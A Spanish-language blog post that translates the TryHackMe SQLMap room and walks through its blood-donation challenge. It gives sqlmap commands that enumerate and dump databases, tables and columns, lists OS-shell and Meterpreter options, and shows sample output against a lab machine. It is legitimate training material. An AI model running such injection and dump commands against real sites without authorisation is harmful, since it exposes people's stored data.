SQLMap es una herramienta muy útil a la hora de buscar bases de datos en páginas web. En esta ocasión os traigo una entrada para el blog algo distinta de a lo que estoy acostumbrado. Se trata de una traducción + writeup de la sala de SQLMap.
Los dos primeros apartados se ciñen a la traducción de esta sala de TryHackMe, pero en la tercera parte de la entrada me he decidido por hacer un writeup en toda regla, con capturas y explicaciones de cómo llegar al final, pero sin poneros las respuestas para que podáis afrontar este reto con una guía. Sin embargo, no os mostraré la solución como tal.
Espero que este nuevo estilo en el blog os guste, y os agradecería feedback al respecto con vuestros comentarios aquí o en redes sociales.
Índice
Introducción
En esta sala aprenderás acerca de SQLMap y cómo se puede utilizar para explotar vulnerabilidades de inyección SQL.
¿Qué es sqlmap?
Sqlmap es una herramienta de pentesting de código abierto desarrollada por Bernardo Damele Assumpçao Guimaraes y Miroslav Stampar, que automatiza el proceso de detección y explotación de inyecciones SQL y toma el control de los servidores de bases de datos. Tiene integrado un motor de detección muy potente, muchas características de nicho para pentesters, y una amplia gama de modificadores que van desde el fingerprinting de la base de datos, la obtención de dichos datos, hasta el acceso al sistema de archivos subyacente y la ejecución de comandos en el sistema operativo a través de conexiones out-of-band.
Instalando Sqlmap
Si estás usando Kali Linux, sqlmap viene preinstalado. Si no, puedes descargarlo desde su repositorio: https://github.com/sqlmapproject/sqlmap
Usando Sqlmap
Comandos Sqlmap
Para mostrar el menú de ayuda básico, simplemente escribe sqlmap -h en la terminal.
Comandos Básicos:
Opciones | Descripción |
-u URL, –url= URL | URL Objetivo (p.ej. http://www.site.com/vuln.php?id?1) |
–data=DATOS | Cadena de datos a enviar mediante POST (p.ej. “id=1”) |
–random-agent | Usar un valor seleccionado aleatoriamente para la cabecera HTTP User-Agent |
-p PARÁMETRO | Parámetro(s) a probar |
–level=NIVEL | Nivel de las pruebas a realizar (1-5, 1 por defecto) |
–risk=RIESGO | Riesgo de las pruebas a realizar (1-3, 1 por defecto) |
Comandos de Enumeración:
Estas opciones se pueden usar para enumerar la información de la base de datos en el back-end, la estructura de la misma y los datos contenidos en ella.
Opciones | Descripción |
-a, –all | Recuperar todo |
-b, –banner | Recuperar el banner de DBMS |
–current-user | Recuperar el usuario actual de DBMS |
–current-db | Recuperar la base de datos actual de DBMS |
–paswords | Enumerar los hashes de contraseña de los usuarios de DBMS |
–dbs | Enumerar bases de datos de DBMS |
–tables | Enumerar las tablas de la base de datos de DBMS |
–columns | Enumerar las columnas de la tabla de la base de datos de DBMS |
–schema | Enumerar el esquema de DBMS |
–dump | Volcar las entradas de la tabla de la base de datos de DBMS |
–dump-all | Volcar todas las entradas de las tablas de la base de datos de DBMS |
–is-dba | Detectar si la DBMS actual es DBA |
-D <NOMBRE BASE DE DATOS> | DBMS a enumerar |
-T <NOMBRE DE LA TABLA> | Tabla(s) de la base de datos de DBMS a enumerar |
-C COL | Columna(s) de la tabla de la base de datos de DBMS a enumerar |
Comandos de Acceso al Sistema Operativo:
Estas opciones se pueden usar para acceder al sistema de la base de datos en el back-end en el sistema operativo objetivo.
Opciones | Descripción |
–os-shell | Solicitud de un intérprete interactivo de comandos del sistema operativo |
–os-pwn | Solicitud de un intérprete de comandos de OOB, Meterpreter o VNC |
–os-cmd=OSCMD | Ejecuta un comando del sistema operativo |
–priv-esc | Escalada de privilegios del usuario de proceso de la base de datos |
–os-smbrelay | Solicitud de un intérprete de comandos de OOB, Meterpreter o VNC con un solo clic |
Hay que destacar que los comandos de las tablas superiores no son todas las opciones posibles de sqlmap. Para una lista más extensa de las opciones disponibles, ejecuta sqlmap -hh para mostrar el mensaje de ayuda avanzada. Además, como consejo personal, si buscáis algo concreto en la ayuda siempre podéis usar los pipes y usar el comando grep para hacer la búsqueda en el resultado de la ayuda.
Ahora que ya hemos visto algunas de las opciones que podemos usar en sqlmap, nos podemos adentrar en los ejemplos usando tanto el método GET como el método POST para realizar peticiones.
Prueba simple basada en HTTP GET
sqlmap -u https://testsite.com/page.php?id=7 –dbs
Aquí hemos usado dos flags: -u para indicar la URL vulnerable y –dbs para enumerar la base de datos.
Prueba simple basada en HTTP POST
Primero necesitamos identificar la petición POST vulnerable y guardarla. Una vez encontrada la petición con BurpSuite, para guardarla solo hemos de hacer clic derecho en la petición, seleccionar ‘Copy to file’ (copiar a archivo) y guardarla en un directorio en nuestro equipo. También podemos copiar la petición completa y guardarla en un archivo de texto.
En esta petición podemos ver que tenemos un parámetro POST llamado ‘blood_group’ el cual puede ser un parámetro vulnerable.
Ahora que hemos identificado un parámetro potencialmente vulnerable, vayamos a sqlmap a utilizar el siguiente comando:
sqlmap -r req.txt -p blood_group –dbs
sqlmap -r <archivo_de_texto> -p <parámetro_vulnerable> –dbs
Aquí hemos utilizado dos flags: -r para leer el archivo con la petición guardada, -p para indicar el parámetro vulnerable, y –dbs para enumerar la base de datos de nuevo.
Esto nos dará un resultado en el cual podremos ver, entre otras, las siguientes líneas de código:
—
[19:33:16] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.10.3
back-end DBMS: MySQL >= 5.0.12
[19:33:17] [INFO] fetching database names
available databases [6]:
[*] blood
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] test
Ahora que tenemos las bases de datos, toca extraer las tablas de la base de datos blood.
Usando el método basado en GET
sqlmap -u https://testsite.com/page.php?id=7 -D blood –tables
sqlmap -u https://testsite.com/page.php?id=7 -D <nombre_de_la_base_de_datos> –tables
Usando el método basado en POST
sqlmap -r req.txt -p blood_group -D blood –tables
sqlmap -r req.txt -p <parámetro_vulnerable> -D <nombre_de_la_base_de_datos> –tables
Una vez ejecutados estos comandos, deberíamos obtener las tablas:
—
[19:35:58] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.10.3
back-end DBMS: MySQL >= 5.0.12
[19:35:58] [INFO] fetching tables for database: ‘blood’
[19:35:58] [WARNING] reflective value(s) found and filtering out
Database: blood
[3 tables]
+———-+
| blood_db |
| flag |
| users |
+———-+
Una vez que tenemos las tablas, podemos obtener las columnas de la tabla de forma similar a como hemos obtenido las tablas:
sqlmap -u https://testsite.com/page.php?id=7 -D <nombre_de_la_base_de_datos> -T <nombre_de_la_tabla> –columns
En el caso de POST el comando quedaría:
sqlmap -r req.txt -D <nombre_de_la_base_de_datos> -T <nombre_de_la_tabla> –columns
Algo más que podemos hacer es volcar la base de datos por completo con todas sus tablas con estos comandos:
sqlmap -u https://testsite.com/page.php?id=7 -D <nombre_de_la_base_de_datos> –dump-all
O con el siguiente comando para POST:
sqlmap -r req.txt -D <nombre_de_la_base_de_datos> –dump-all
Desafío SQLMap
Lo primero que debemos hacer aquí es desplegar la máquina adjunta y dirigirnos a la IP asignada para dicha máquina.
Se ha desplegado una aplicación para recolectar ‘Donaciones de Sangre’. La petición parece ser vulnerable.
Hay que explotar la vulnerabilidad de inyección SQL en la aplicación para encontrar la flag.
Lo primero que tenemos que buscar es en qué directorio de la IP asignada está la página a la que podemos acceder. Para ello usaremos gobuster y haremos una búsqueda de nombres de directorio usando el diccionario rockyou. Con ello encontramos lo siguiente:
Acto seguido vamos al navegador web (en mi caso Firefox) y ponemos en la barra de direcciones la IP de la máquina de TryHackMe seguido de / y el nombre del directorio que hemos encontrado. Debería aparecernos la siguiente página:
Pulsamos en Register en la parte superior derecha, y procedemos a registrarnos en la web, para poder después acceder a la zona de usuario.
Una vez hemos hecho login en la plataforma, en la parte superior izquierda aparecen estos iconos:
Si pulsamos sobre el tercer icono, nos aparecerá la lista de usuarios que han donado sangre, con un usuario llamado Nare. A la derecha de este usuario veremos un icono de un ojo. Si pulsamos sobre él, accedemos a la ficha de ese usuario.
Aquí, si nos fijamos en la barra de direcciones del navegador, veremos que, por primera vez, aparece un parámetro que puede ser susceptible de vulnerabilidad. Es por ello que pasamos a usar sqlmap con esta dirección web y con ese parámetro, para comprobar si accedemos al nombre de la base de datos y al usuario actual, que es el que buscamos.
Con el comando sqlmap -u http://10.10.236.64/blood/view.php?id=1 -p id –current-user accedemos a los siguientes datos:
Ahora que tenemos el nombre del usuario actual, pasamos a averiguar el nombre de la base de datos, sus tablas y columnas.
Con el comando sqlmap -u http://10.10.236.64/*****/view.php?id=1 -p id –dbs obtenemos el nombre de las bases de datos en el sistema.
La candidata es la primera, la base de datos llamada blood, ya que las otras son muy genéricas, por lo que vamos a ver qué tablas contiene. Con el comando sqlmap -u http://10.10.236.64/*****/view.php?id=1 -p id -D blood –tables obtenemos los nombres de las tablas de la base de datos:
Podemos ver que la base de datos tiene tres tablas, de las cuales hay una que nos llama la atención. La tabla flag es la que tiene más posibilidades de tener el dato que buscamos, por lo que vamos a ver qué columnas contiene con el comando sqlmap -u http://10.10.236.64/*****/view.php?id=1 -p id -D blood -T flag –columns:
Vemos una columna llamada flag que contiene datos de tipo varchar, por lo que tiene toda la pinta de ser la flag que buscamos. Solo nos queda descubrir el contenido de esa columna mediante el comando sqlmap -u http://10.10.236.64/*****/view.php?id=1 -p id -D blood -T flag -C flag –dump:
Con eso respondemos a la última pregunta de esta sala.
Espero que os haya ayudado esta guía y que, como yo, después de realizar esta máquina, hayáis aprendido algo más acerca de cómo se utiliza esta gran herramienta llamada sqlmap.
Acceso al contenido original de TryHackMe: https://tryhackme.com/room/sqlmap